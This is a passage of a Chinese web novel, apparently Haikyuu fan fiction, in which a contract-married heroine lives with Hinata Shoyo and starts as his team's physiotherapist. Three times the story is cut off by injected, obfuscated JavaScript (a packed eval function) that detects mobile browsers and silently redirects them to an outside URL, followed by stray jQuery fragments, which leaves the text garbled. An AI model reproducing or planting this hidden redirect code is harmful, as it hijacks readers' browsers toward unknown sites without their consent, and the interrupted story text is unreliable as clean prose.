我插在口袋里的手动了动,又不好意思的走了回来:“没什么?内个……日向君,你可以不用总是这么跟我说话。”
日向翔阳闻言站了起来,我遗憾的看着那头看起来很好摸的橘发从眼前消失。
“啊哈哈,抱歉抱歉让你感到困扰了吗?我只是习惯性直视眼睛说话,而且黑川桑的眼睛很好看哦。”
我眨了眨眼睛,从没摸到小狗X的失落中抽离,几乎想要找个镜子对准照一照自己。
我的眼睛吗?
真的假的?
我跟着日向翔阳进了不远处一家生意格外不错的超市,人太多了,我只能全神贯注的跟在他身后,琢磨着眼睛的事情。
“黑川桑沐浴露的话,惯用哪种呢?”
日向翔阳停下脚步,那双上挑的橘色眼眸在货架上,取了一瓶橘子味的沐浴露放到购物车里,十分自然的询问我。
我目光落在橘子沐浴露的试香上,下意识凑过去嗅了嗅。
好闻。
“日向君用的这个好像就不错,我没有常用的味道,就这个好了。”
路人系统的员工虽然没有主角系统福利好,但最重要的一点就是时间自由,大家会趁着这个时间去超市买各种打折的必需品。
沐浴露这种东西从来都是碰上什么用什么。
没遇到过特别喜欢的,嘛,都是打折滞销的商品,不受人欢迎也是正常的。
这几天都用的日向君的橘子味,感觉居然还不错,不开心的时候闻闻自己,终于不是可乐、榴莲味了,我喜。
而且……我默默看着再走前面的日向翔阳。
在这里再怎么开心,也是攻略世界啊。(震声
我有点得意的想,用同一种沐浴露,会不会就是亲近的开始呢?
啊,镜子。
我拉着日向君衣角的手松开,凑到旁边货架前弯腰,掀开刘海打量了一下自己。
上扬的心情下降百分之五十。
我放下手,任由垂落的刘海挡住那双框钴蓝色的眼睛,完全和以前没有任何改变,正常的眼型眼角甚至有点下垂,睫毛不长不短,卧蚕不大不小,是一双再普通不过的眼睛。
唯一不同的就是那深郁纯净的钴蓝色。
不过按在我脸上,一点都不出彩。
“你们看那个女鬼!女鬼!爸妈都不要的女鬼!长得好可怕!”
“这么普通的资质,去路人那边简直再合适不过了,啊,这双眼睛……”
“也没什么,只是浪费了啊。”
“这算什么?听说那边又生了一个,极优的资质,外貌和性格都无可挑剔,特别是那双蓝眼睛,简直是天使降临!”
“那这个呢?”
“谁还管得过来这个啊,哝,不是放学校养着了吗?”
蜷缩在角落的黑发女孩将自己抱得更紧,垂落的黑发遮挡住那双愈发暗沉的蓝眸。
我咬住腮肉,刺痛拉回了不受控制飞扬的思绪,下意识摸了摸口袋,空空如也。
我站在原地,理智让我应该赶紧去寻找已经被人群冲散的任务对象,现实却是我的身体僵硬在原地动弹不得。
怎么回事?
明明很久都没有想起来过了。
偏偏是在这个时候,我僵硬的身体被人群推搡着靠在货架角落,呼吸逐渐急促。
冷静下来,冷静下来。
我现在已经是路人系统年度优秀员工。
一千人中评选出一名的制度,让这个称号的含金量和工资福利不断上升。
我马上就能攒够钱提前几十年退休,靠着这个称号还能返聘进学校,或者进入小世界工作。
他们背地里嘲笑我,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279041|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住羡慕我。
我一点也不可怜。
不要用那种眼神看我。
不知过了多久,在周围人发现我的异常,要叫人之前,我整理好表情平静的站了起来。
“你没事吧?”
“在人多的地方呆站着很危险哦,以后可要小心点……诶,你哭了吗?”
那人的声音忽然慌张,紧接着一只宽大的手托着一块手帕放到她面前,青年的声音不自觉放缓。
“擦擦吧,很难过的话,我请你吃糖怎么样?”
挡住我去路的青年有一头棕色的短发,随意的向后打理,额前散落着几缕棕发,脸……很帅气,身材让我有一种似曾相识的结实。
我顺着他的目光下意识用手背擦了擦脸。
有些不适应陌生人的好意,心中惴惴的接过那块手帕,胡乱擦了擦脸,目光落在不远处的货架上。
棕发青年见我冷静下来,转身似乎打算离开。
我下意识叫住他。
“等等,谢谢你的手帕,我重新送你一个吧。”
不等他回应,我摆脱他在原地等着,小跑着去选了一块最接近的拿在手里,跑了回来。
脚步逐渐慢下来。
刚才所在的地方已经空无一人。
我失落的拿着手帕出去结账,经过清仓商品的时候,脚步一顿。
我提着购物袋走出超市。
“啊,我就知道在这里能等到你,人实在是太多了,花了点时间才找到你呢,给!”
棕发帅哥笑着走过来,手里拿着什么东西。
是一颗柠檬味的糖。
我拆开塞进嘴里,被酸得一激灵,眼神不可置信的看向和她一起蹲在路边吃糖青年。
他看见我的反应:“哈哈哈哈哈哈哈果然和我想的一样可爱。”
就在我逐渐心生杀意的时候,他收敛了笑意,点了点脸上被糖块拱起的地方,歪着头看我。
我心中怒意在他清爽的美貌下逐渐消弭。
“不觉得现在很甜吗?”
我下意识舔了舔嘴里的糖块,果然剧烈的酸味之后是能让人心情变好的甘甜。
我的脑袋一重,在短短几天之内第二次被人摸了头。
还是很舒服。
我怀疑自己可能有点奇怪的XP,身体却很诚实的僵在那里,让他摸乱了我的头发。
然后就这样交到了在任务世界的第二个朋友。
我看着通讯录里多出的名字,心中最后一丝阴霾也消弭殆尽,过去的苦逼记忆跟定时回访一样,不断来拉拽我的小腿。
总有陌生人的善意,让我不断收紧握住绳索的手。
我不会认输的。
我捧着脸:“不管是日向君还是及川君都是好人啊。”
“黑川桑!”
急促的脚步声从身后响起,握着手机的我下意识站起来,然后被握住肩膀检查了一遍。
我在他急切的目光下,不好意思的低下头。
“对不起,我不应该到处乱走,还忘记和日向君你电话联系了。”
松了口气,看起来要给她一个拥抱的日向翔阳僵了一下。
“诶?”
“……我,我也忘记了,抱歉。”
他看起来真的很担心我,本来就是我得意忘形,去照镜子擅自离开才造成的,我退后一步,不在乎的拜拜手。
“没有啦。”
日向翔阳视线在我脸上停留了一会儿,似乎更加愧疚:“遇到了一个和黑川桑很像的人,她迷路了让我帮忙,我才没看好你。”
“下次不会了。”
我对他口中和我相似的人有点好奇,但还是下意识安慰:“没关系,我这么大的人才不会出事呢。”
“我又不是日向君的责任哈哈哈,你就是太认真了。”
“回家吧,我买到了好东西哦。”
日向翔阳看着前方少女轻快的脚步,紧锁的眉头逐渐松开。
心中做好了决定。
我回家的脚步逐渐加快,后背发凉,总感觉背后似乎有一道冰凉凉的视线,转身却只有日向君疑惑的眼神。
是错觉吗?
果然还是该少出门!
5. 第 5 章
回到家里被安排窝在沙发里的我,叼着棒棒糖,下巴杵在沙发靠背上盯着厨房里动作的背影。
手里亮着的手机屏幕上隐约闪过恋爱攻略几个大字。
虽然已经打算摆烂在日向君身边度过一个,比想象中更加愉快的假期,但今天的突发情况打得我措手不及。
我应该吃药了。
可突然被扔进任务中的我,身上并没有带上常用药。
“还真有点舍不得,现在不管任务是成功还是失败,都必须要加快进度才行。”
攻略任务结束自然只有一种办法,那就是攻略成功。
不然我就只能等待着不知何时到来的节点,将我传送出去,把命运交给时间我一点都不习惯。
【强制退出】绝对不行。
系统如果知道我是因为生病而退出任务,说不定我连原来的岗位都有可能被裁掉。
想到发病时的后果,我有些神经质的想要啃手指,张了张嘴,腮肉传来的疼痛以及弥漫在口中带着辣味的淡淡奶香安抚住了我的情绪。
我听到身后靠近的脚步声,涌起的负面情绪被草率制定的攻略计划压了下去。
日向翔阳是个好人。
就算被发现我在协议结婚期间对他图谋不轨,他应该不会太生气……吧。
想什么呢,从进入这个世界开始,不就是带着目的来的吗?
我被从沙发里拎了出来,按到餐桌前。
身前被放了一只盛着满满猪排饭的大碗,我的视线难得没有被金黄酥脆的炸猪排吸引,而是跟着那双微微拉起衣袖,而露出的结实小臂游走。
蜜色的肌肤让肌理随着起伏的动作呈现出一种格外健康强壮而美味的弧度。
我双眼发直。
总觉得在队友身边显得身量不太突出的日向君,看起来大概也能一拳打死十个我这样的战五渣。
我双手放在大腿上,正襟危坐,慎重的选择更加循序渐进的开启planB。
[爱心]通过真诚的夸赞和不经意的肢体接触,再加上日常生活中展现出的真实一面,让你喜欢的那个人dokidoki爱上你吧~~[爱心]
虽然夸赞好像让人有点害羞,肢体接触也很困难,真实的一面……唔,真的不会被吓跑吗?
我迟疑。
总之隐藏攻略上是这样写的。
我紧张的握拳,悄悄看了一眼似乎在找什么的日向翔阳,再次打开手机点开帖子下的评论,给自己加油打气。
1L:太好了,是大理论家我们有救了!
2L:射射楼主,攻略很好,敏感肌也能用。
3L:太好用了![比心]楼主真是大善人[玫瑰花]我和我的攻略对象就是这样在一起的![烟花][烟花][烟花]请大家一定要试试![玫瑰花][爱心][玫瑰花][爱心]
4L:谢谢分享~
……
好像是很有用的经验贴,但总觉得评论有哪里怪怪的。
我只来得及看前排点赞众多的评论,就被身侧逐渐靠近的脚步声惊醒,连忙把手机揣兜里。
“日向……君?”
橘发青年把刚才洗好消毒过的勺子递给我,上面还点缀着和我睡衣一个系列的圆滚鲨鱼。
“在超市看到了,觉得很适合黑川桑就拿了,不介意的话用这个吧。”
我看着戳中我心巴的餐具,又抬头看向面色坦然的日向翔阳,不自然的扶过胸口,有什么重重跳了一下。
“谢谢,我很喜欢。”
我欣喜的接过专属于我的餐具,才整理好情绪轻易在他的目光下变得混乱。
坏了。
被这样关心,我有点招架不住。
我想我有点舍不得离开了。
紧接着我就掐灭了这点不切实际的情绪。
日向君是个好人日向君是个好人日向君是个好人日向君是个好人日向君是个好人日向君是个好人。
见我接过餐具的日向翔阳转身,他的位置在我对面。
我下意识抓住他的衣摆,对上那双讶然的眼睛,又飞快放开。
冷静下来。
怎么可能会有人喜欢上上一个不论什么方面都不出色,甚至还在不断给他带来麻烦的、平平无奇的路人甲。
这原本应该是主角系统的天之骄女来完成的任务。
我并不具备对他的吸引力。
要得到一样东西,就需要付出好几倍的努力,然后才有资格安心等待结果。
我默念着这句话,平静下来,对着俯身担忧的看过来的日向君笑了笑,不知道这一次有没有成功。
反正他表情似乎有些惊愕。
应该是成功了。
我把餐具握在左手,右手试探性的擦过他蓬松柔软的橘发,径直落在他撑在大腿的手腕上。
冰凉的指尖擦过青年常年运动温度高了很多的手腕,做出站起来的手势。
“日向君,好像总是在担心我。”
他直起身,肢体动作看起来有些无措,我看了眼他耳根不明显的红晕。
我蜷缩起刚才碰过他手腕的指尖,心情上扬了些许,果然是有用的。
“那天日向君看到的真的是误会,我从来没有想要结束生命的想法。”
我关注着日向翔阳的表情,剖析内心让我有种被曝光于强光下的不适感,牙齿用力咬碎嘴里的糖块取下细棍捏在指尖。
“所以日向君可以不用这么小心翼翼对我。”
“我们住在一起的这段时间希望日向君能够轻松点,我们现在应该是朋友了对吧?”
多少能感觉到日向翔阳对我的态度,很亲和,小心翼翼,时刻关注着像是对待易碎品。
大概差不多就是对病患的态度吧。
想要改变关系的话,这一点应该要先纠正过来。
我隔着外套口袋摸了一下手机,这篇攻略方法评论这么好,虽然不是很懂,但一定有他的道理。
希望能有用。
日向君似乎很震惊我的话,一时间陷入了沉思。
我掐着指尖沉默的等待着答复。
“原来如此,黑川桑是这样想的吗?”
他忽然往前走了一步,再次缩短了我们之间的距离,清新的橘子味飘进鼻尖。
日向翔阳看着坐在椅子里显得格外纤细的黑川一,被排球所占据的大脑,终于将这名用不那么愉悦的方式闯入生活的少女印在其中。
这个角度只能看见在黑发遮掩下格外尖细的下巴,他下意识想要蹲下来,和那双被隐藏起来的眼睛对视。
手腕上却仿佛再一次传来轻飘飘的力道。
他动作卡了一下,还是遵循了她的意愿,宽大的手掌轻轻落在黑色的发顶。
“我知道了。”
“很高兴黑川桑能把心里的想法告诉我。”
“不过我并没有把黑川桑当做病人。”
他看着纤瘦的少女,心道。
黑川桑像是一朵绽开在无人荒野的花,他不忍心让这样的生命凋谢,却发现成长到现在的花并不需要人的帮助。
……他只是想让这朵花不那么孤单。
那双带着热意的手在发顶慢慢磨蹭,像是揉搓一只可怜兮兮的小动物,有一簇簇电流从头皮窜过脊背。
我黑发遮掩下的双眸变得湿润,舒服和困倦一同涌上来。
我眨了眨眼,迟疑的想,这应该算是成功了吧。
日向翔阳:“那么我也可以提出我的要求吗?”
我顿了一下,仰头看他。
他看着我的眼神和之前发生了点变化,我认真辨认了一下,似乎是变得更加温柔了?
“黑川桑的体重对于身高来说实在是太轻了,昨天晚上一直到凌晨两点还没有睡觉吧……”
诶?
发顶的手还在我却忽然打了个哆嗦。
奇怪,好像有什么不妙的事情要发生了。
我眼神飘忽的想说些什么来打断他,可单薄的语言系统显然不支持临时加班,我徒劳的张了张唇。
“从明天开始我会监督黑川桑吃饭和按时作息的,等身体好一点了早上再跟着我晨练吧。”
什……什么?
这难道是作为交换条件吗?
“不是交换条件哦,之前是我误会了,没有人想被当做病人看管吧,我会好好纠正态度的。”
日向君像是知道我在想什么,继续道:“监督和锻炼什么的,是我想要让黑川桑更加健康,如果总是这幅营养不良的样子的话。”
他遗憾的说:“可能会被剔除出跟随我出征的工作人员人选哦,我已经接到国家队的征召了,过段时间就要回去了。”
其实人选他是有选择权的,不过队伍会选择更加适合的工作人员这件事他也没有说谎。
我:“!!”
任务目标要抛下我离开了?!
达咩——(惊恐
我低头有些慌乱的抓住垂在眼前的手,有气无力的应了下来。
“我会做的!”
“请不要把我扔在这里,我会加油让队内选我的。”
不知出于什么心理,大概只是觉得黑川一可能会在乎,所以就说出来当做激励。
可被郑重的捏着手,那双每次看都觉得很像宝石的瞳孔从散落的黑发间露出,就这样眼巴巴的看着他。
心脏好像被什么东西捏了一下。
日向翔阳移开视线,被捏住的手指下意识动了动,莫名有些不好意思。
“嗯,不会随便丢下你的。”
明明之前还是一副成熟的模样和他谈判,结果没说几句话就变成这样,日向翔阳有些无奈。
但还是认真的承诺下来,本来也只是吓吓她。
总而言之还是不太放心。
我悬起的心落了下来,跳下凳子跑到茶几旁从袋子里拿了东西,又跑过来塞进日向君手里。
“这是我最喜欢的口味。”
很难买到的。
“日向君你也尝尝~”
我捏着专属餐具对在对面落座的青年催促道。
日向翔阳低头看着糖纸上,画着魔鬼简笔画的辣椒,脸色有些勉强:“辣椒味?牛奶糖?”
“嗯嗯!”
我往嘴里塞了一大块猪排点点头。
眼见着橘发青年将糖果放到嘴里,我收回了目光,专注的对付美味的猪排饭。
没注意到对面沉默了很长时间。
我吃完饭抢先收拾了碗筷,盘腿在沙发上全神贯注的打游戏,身后好像有走来走去的脚步声也没能分出我的注意力。
大概是日向君又要开始加训了吧。
真刻苦啊。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279042|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到时间了哦,我出去一下,黑川桑记住差不多该休息了。”
沉浸在新角色战斗中华丽声线下的我下意识“嗯嗯”了两声,片刻后,玄关传来一声轻轻的关门声。
不知过了多久,我放下手机跳下沙发伸了个懒腰。
“这次的更新真是绝了,我可太吃这个战损了!”
“叮!”
一条被可能感兴趣推送来的消息停留在手机最顶端。
我扫了一眼时间。
1:00
同时扫到了那条推送消息。
门外传来刻意压低的开门声,我掩盖不住兴奋的小跑过去,快到他面前的时候,又有些局促的停下来举着手机朝来人展示。
“日向君日向君!我想去这个展子,你可以陪我去吗?”
日向翔阳身上还带着夜色的寒意,先是认真的看了一会儿那张花里胡哨的页面。
我看着他心中期待。
这还是第一次我能找到能陪我一起去漫展的朋友。
如果日向君能答应的话,我说不定就能逛到人生第一次漫展了诶!
“时间没有冲突,可以哦。”
他先是点点头回答了我的问题,我还没来得及高兴,就听见他沉下的声线。
“但是黑川桑,我出门之前你还答应过我会早点休息,”他抬头看了眼时钟,视线又回到我身上:“但是……”
他突然伸手,我下意识闭上眼睛,却只感觉眼下薄薄的皮肤被温热的指腹微微用力擦过。
“脸色都这么差了,还在熬夜,就算让黑川桑扫兴,我也会生气的。”
感觉脸上的刘海被轻柔的整理到两边,我立即紧张的睁开眼睛,却落入了一双暗沉下来的橘色瞳孔,呼吸一滞。
我看过日向君的比赛录像,每当在球场上认真起来或者遇到困境的时候,那双和头发一样灿烂的眼瞳会变成更加深沉的颜色。
我无端的感觉后脖颈微微发紧。
就连完全暴露在外的瞳孔也没有时间关注了。
怎么办怎么办?
该怎么认错才能让他原谅我呢?
耳边传来一声轻笑。
日向翔阳:“黑川桑知不知道你心里的话完全都写在脸上。”
我僵硬的看着他越来越靠近的脸,脑海里爆发出尖锐的爆鸣,这是什么情况?我该怎么办?
出去一趟过后日向君看起来好像有点怪怪的!
而且我不至于自作多情到误以为他是喜欢我才靠这么近的,一定发生了什么!
我抵住他过于贴近的胸膛,往外用力推搡:“日向君?你还好吗?”
被微微推开的橘发青年靠在鞋柜上,专注的看着她,轻声说:“黑川桑违反了约定,我要惩罚你。”
“嗯嗯嗯。”
我胡乱应声,凑到他面前嗅了嗅,果然闻到了一股淡淡的混合着橘子香气的酒味。
喝酒了?
我镇定下来,双手环胸看他:“所以想要惩罚我什么,说完了记得回去睡觉哦。”
靠在鞋柜上的青年低低的沉吟了一声,似乎也有点苦恼,过了会儿双眸忽然一亮。
“我知道了。”
他走了两步想要靠近我,结果身体似乎不听使唤差点直挺挺的倒在地上,我撑着他的一条胳膊,使出吃奶的力气把人带到沙发旁。
心里已经疲惫的放弃了和他正常沟通的想法。
把人扔到沙发上,然后从卧室拿出一床被子盖在他身上,附身喘着气给他擦了擦脸。
“有事还是明天说吧,日向君。”
“我先……”
唔——
手腕上传来相当沉重的力道,猝不及防的把我拽了过去,我摔在昏昏沉沉的日向君身上,想要起身却被拽得更紧。
他身上的热意很快穿过被子传递过来。
我脸上也开始发起了烧。
脑子里飘来飘去的想法都是乱码。
“日向君?”
我费劲的支棱起脖子,想让朝我脖子里喷气的脸离我远点,结果似乎是不满我没有认真听他说话。
一只温度升得格外高的手附上我的后颈,轻柔又不失强势的把我压下来。
我死鱼一样在他手下挣扎了一会儿,最后累得双目发直顺着他的意思,把脑袋搁在他肩窝里。
没错,这就是我们私斋的体力。
耳边迟缓的声音,慢慢说道。
“黑川桑第一天就撕毁了我们的约定,我,很生气,所以,要惩罚黑川桑……”
“那就罚你,明天跟我,一起……”
我紧张的握紧了拳头,如果他提出不合理的要求,我一定要狠狠拒绝,然后把人弄醒。
“……晨……练。”
?
我眨了眨眼。
博览群书的后遗症在脑子里蹦跳,最终十分肯定的确认下来,他口中的晨练绝对是毫无歧义的,正正经经的清晨锻炼。
我松了口气。
怎么也挣脱不开的我,挂着黑眼圈看了眼墙上的时钟,长叹一声。
晨练就晨练,我现在只想睡觉。
“……松手,把被子也给我一点。”
冷死了。
明天一定要好好嘲笑日向君的酒品。
我趴在青年柔韧的带着暖意的身体上,沉沉的陷入沉睡。
6. 第 6 章
今天风和日丽,初夏的风吹拂在树梢、枝头以及脸颊,是一个通常意义上适合外出上班的日子。
对我来说,这个天气更应该躺在家里能晒到阳光的阳台上,打游戏追番甚至睡觉都很完美。
我恹恹的把外套拉链拉到最顶端,默默地看着走在前面的日向君,脚步越来越沉重。
可今天不仅是我报到正式上班的日子,就连日向君都有些不对劲——早晨醒来之后他就没有和我说过话!
沉默着做好早餐放到我面前,沉默着替我准备好必需品,甚至还沉默着替我滚了滚外套上的毛絮。
看起来不像是生我的气。
但就是回避和我对视和说话!
快到球队了,我盯着他背影的视线,逐渐被身高过于优越的球员们一茬一茬地遮挡,等到我挤出人群的时候,自然失去了日向君的踪迹。
我面无表情地站在原地,单手捏着肩膀上的鲨鱼背包,陷入了沉思。
提起的脚步半晌都迈不出去。
好……好多人啊,要不然今天还是算了吧。
我自动寻找到一个角落,打开手机给球队和日向君发消息,主动走进这栋人来人往甚至还有粉丝聚集的大楼对我来说的还是太难了。
昨天日向君督促我好好加油的话浮现在耳边。
我的手指悬停在按键上,如果临时打退堂鼓的话,日向君会不会对我失望?
我视线犹豫地在这座的庞大的建筑上寻索,最后锁定一处隐蔽的几乎和墙壁融为一体的小门。
刚才就有人顺着这里走出去。
我立即放弃了不远处时不时响起粉丝尖叫的大门,顶着发麻的后脑勺,哧溜一下钻进去。
这里似乎是逃生通道,也并没有什么人。
我松了口气,顺着通道往里走,按照我经验,先寻找人事办公室。
结果我费力打开通道尽头沉重的防火门,扑面而来的灯光和在灯光下挥洒汗水的人影映入眼帘。
我呆滞地眨了眨眼睛。
这里是一处室内排球馆,这扇防火门正好开在球馆正对着大门的方向,我手下沉重的门还在发出嘎吱嘎吱的声响,引来了所有人的视线。
我听见自己微微颤抖的声音。
“抱歉,我走错地方了。”
果断后退一步,刚刚突兀打开的门像是没打开过一样,迅速回归原位。
结束一组热身的艾利克斯拉起毛巾擦了擦汗,大声问教练:“翔阳今天来了吗?”
白胖的教练微微蹙眉:“还没有。”
艾利克斯回想了一下刚才出现的黑发小矮子,表情逐渐不善,也就是说那家伙是背着翔阳自己跑来的?
那天的事情赖上翔阳还不够,现在还想到球队找什么人?
教练慢条斯理打开手机,接着说:“他带着新来的理疗师去报道了,会晚点来。”
新来的理疗师?
艾利克斯眉头紧得可以夹死一只蚊子。
那家伙行吗?
我关上门顺着通道的就往外跑,头发都尴尬的要竖起来,最终扶着通道出口的墙壁喘了口气。
还好没有人跟上来。
我深深叹了口气,再一次深深叹息,为什么在这里还要上班!?
退一万步来说我都住进任务目标家里了,在工作地点增加亲密度根本没有必要吧!
我“呜”的一声在墙角蹲下来。
反正做到现在这一步已经很厉害了,要不然我……
我像一个温柔安慰养胃丈夫的妻子一样开导着自己,反倒忽略了身后逐渐靠近的脚步声。
“喂!”
我脖子一痛,什么东西从后面拽住了我的衣领直接把我拎了起来,满脑子丧气的思绪被迫驱散。
艾利克斯阴沉沉的脸出现在眼前。
他上上下下打量了我一会儿,才质疑的问:“球队新来的理疗师是你?”
还没等我反驳,他就掀起一边嘴角挑刺:“你这家伙看起来阴沉沉的,胳膊这么细,我一只手都能掰断。”
“不会是求着翔阳进队的吧?”
哈?
我努力掰着卡主脖子的拉链,终于把拉链拉下来了点,才得以喘息。
“你知不知道翔阳有多喜欢排球?”
我下意识点头:“我知道啊。”
排球大概占据了日向君大部分的时间和思绪。
特别是在赛场上,他起跳的身影简直在发着光。
因为他打排球的时候实在是太漂亮了,也是我不情不愿还是跟来入职的原因之一,如果能看见日向君打球的现场就好了。
昨天天真无知的我是这样想的。
结果晚上日向君出了趟门,事情就变了。
我挂在艾利克斯手上,眉眼也耷拉下来,丧气的说:“不是日向君帮我进来的,我是受聘来的理疗师。”
“但是你说得对,我这种人肯定会搞砸的,日向君这么喜欢排球,我果然还是不要给他添麻烦了。”
艾利克斯神情微顿,有些不可思议的看着手上被这样提起来也没有生气的家伙。
轻飘飘的。
啧。
不会是在演我吧?
他下意识晃了晃手臂,就见这黑漆漆的家伙一脸惊慌的抬起脸,过于纤细的手指按住了他的手腕。
匆忙间从黑发间露出钴蓝色眼眸带着沉郁又晶莹的光泽。
像是某种应该被珍藏的珠宝。
他怔了一下,然后以全新的目光再次打量了一下手中的少女。
这家伙那天和翔阳相亲(他猜的)不成后,又故意挑着在M记偶遇说了一通让翔阳愧疚的话。
让翔阳饭都没吃就担心的赶回去,他自然不放心的跟着,结果就是这么巧合。
他们到家的时候,这黑漆漆的小不点居然拿着刀装模作样的想要自杀,以此来威胁的翔阳和她结婚!
艾利克斯最近的看了很多从华国流传出来的影视剧,对这种手段简直再熟悉不过。
黑漆漆居然对他看重的队友用出这种手段,更让他不能忍受!
他想帮助翔阳,但翔阳拒绝了他的帮助,还将他关在门外。
更过分的是!
他居然真的受了黑漆漆的威胁和她结婚了!
艾利克斯眼睁睁的看着好队友落入了邪恶黑漆漆的陷阱,一直在想办法让那家伙离开翔阳。
今天终于被他抓到了机会。
他恶狠狠的说:“你知道就好,我现在就带你去人事那边回绝,然后你给我收拾东西离翔阳远一点!”
虽然后半句话我没办法做到,但前半句正合我意。
果然上班是不可能上班的,正好有好心人帮忙拒绝掉再好不过了。
我也可以在日向君面前有个交代。
在艾利克斯越来越不耐烦的目光下,我装作迟疑的点点头。
“黑川桑。”
“艾利克斯。”
达成一致的两人同时身体一僵,扭头看向朝这边奔来的橘发青年。
这一刻我们两人都升起了同一个想法。
来的真不是时候的。
我不甘心的咬唇。
可恶,还差一点就能当家里蹲了。
日向翔阳身上还带着运动后的热意,先是把少女上上下下观察了一下,见没出什么事才松了口气。
然后才后知后觉的发现两人奇怪的姿势。
艾利克斯在他出现的瞬间,就非常有心机的把人放了下来,拽在帽子上的手松开力道反而像是搭在肩膀上似的。
他镇定的朝好队友翔阳打了个招呼:“哟,翔阳是要带着这家伙去入职吗的?不用麻烦了,我正好要去上面,可以帮忙带上去。”
橘发青年目光在落在他自然而然的手上,有些不解。
心中升起了些怪异的情绪。
“你们什么时候关系这么好了?”
我正在哀叹逝去的机会,闻言虎躯一震,脑袋一甩从艾利克斯死沉的胳膊下钻了出来。
十分熟练的拽住日向君的衣角。
谁跟他关系好了!
我决定恶人先告状。
“都怪日向君走得太快了,我都迷路了,才会遇到艾利克斯的。”
我一边说一边小心去看他的表情。
果然日向翔阳的表情有些愧疚,安抚地拍了拍我的脑袋,还帮我把被艾利克斯弄乱的发丝整理了一下。
其实昨天晚上发生的事情他都还记得。
他也没想到那杯饮料居然含有酒精。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279043|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>天知道清晨被生物钟唤醒之后,入目的不是看惯的房间陈设,而是少女睡得香甜的脸他有多大的惊吓。
他不是故意想要冷落黑川桑,只是在生自己的气。
现在和黑川桑同居,本来应该要更加注意一些的,黑川桑是女孩子,要给她足够尊重才行,结果他居然还喝了酒回家!
路上想的有些入神了,等会回过神竟然把人弄丢了。
日向翔阳看着凑过来捏着他衣摆的黑川桑,看起来根本没有一点怪自己的意思,暗地里更加愧疚。
看来他要对黑川桑更上心一点。
我不知道日向君在想什么,只是落在身上的目光让我有点不适应,连忙扯了扯他的手。
“是不是该去报道了。”
日向翔阳朝艾利克斯道谢后,带着人往办公楼走:“是的,苏珊女士人很好,你不要紧张,我会陪着你的。”
他目光落在少女黑漆漆的发顶,是连自己都没发觉的柔和。
我全部注意力都集中被牵着的手上,宕机的大脑只会发出嗯嗯嗯的回应。
等顺利入职,并且通过过往的工作经历领到一间单独的理疗师之后,我挥挥有些过长的白大褂衣袖告别日向君。
坐进单独配置的办公桌后,在只有我一个人的房间里,我身体终于放松下来。
翻了翻队内的理疗记录,没什么问题之后,就开始刷系统配置的手机。
被分配到这个工作,并不是系统随机,而是根据我以前的培训记录,择优选取。
专业性什么的不用担心。
我打开系统论坛主要是想要看看上次的攻略经验贴。
好像还是挺有用的,我决定再学习学习。
[您所查找的帖子不存在]
嗯?
我翻遍了整个交流论坛的经验贴,也没有再见到那个封面格外花哨的帖子,无奈放下手机。
“咚咚咚!”
迟疑地敲门声响起,我打开门仰头才看到来人的脸。
身高大概超过两米的副攻手米勒摸了摸头发,看着眼前穿着不合身白大褂的新任理疗师,难得对球队的安排产生了质疑。
他当然知道球队不可能雇佣童工,亚洲人的面像和年龄永远是个谜。
不过就算是当做普通人看,眼前的少女身形也过于纤细苍白了。
我看这大高个不说话,思考了一下,向后退了一步让出空间:“是队长吗?”
“您今天有肌肉舒缓的项目,朱莉姐已经告诉我了,请进来吧。”
米勒原本思索着告辞的话卡主,被那新任理疗师可爱的脸故作严肃的盯着,一时间找不到拒绝的说辞。
只好认命走进来。
算了,要是不到位,等会儿朱莉那里应该也空下来了,再去做一次好了。
门外看着队长进了挂着黑川一牌子的理疗室,艾利克斯的表情越发凝重,身体紧绷的站在门口。
想要看准时机要是不行,就冲进去救队长出来。
结果他站了一会儿,脸上的表情越来越奇怪。
握着门把手的手背上青筋都冒出来了。
“嘶!”
“是这里吗?请忍耐一下。”
“啊!”
“请冷静一下,面对我躺好,不要害羞。”
害……害羞?
艾利克斯想到队长那张可怕的黑脸,对比起来邪恶黑漆漆简直是小儿科,结果黑漆漆就用那种平静得和机器有一拼的声音让队长不要害羞?!
刚才进去的真的是队长吗?
队长这种硬汉以前做理疗的时候,不是都不会出声的吗?
“嗯哼!”
“还有十分钟就可以结束了,您(的腰腹)有些过于紧张了,您再乱动我会动手压住您的。”
“……抱歉。”
“没关系。”
队长的声音……好奇怪。
听得艾利克斯眼角一跳一跳的,看着从走廊尽头加训完毕走过来的橘发青年,眼神惊恐。
这一刻艾利克斯被陷入了脑补出的修罗场中,看着翔阳握住门把手,推门而入。
内心拔凉。
从来没有一刻这么虔诚的祈祷。
希望邪恶黑漆漆识相点,没有做奇怪的事情。
7. 第 7 章
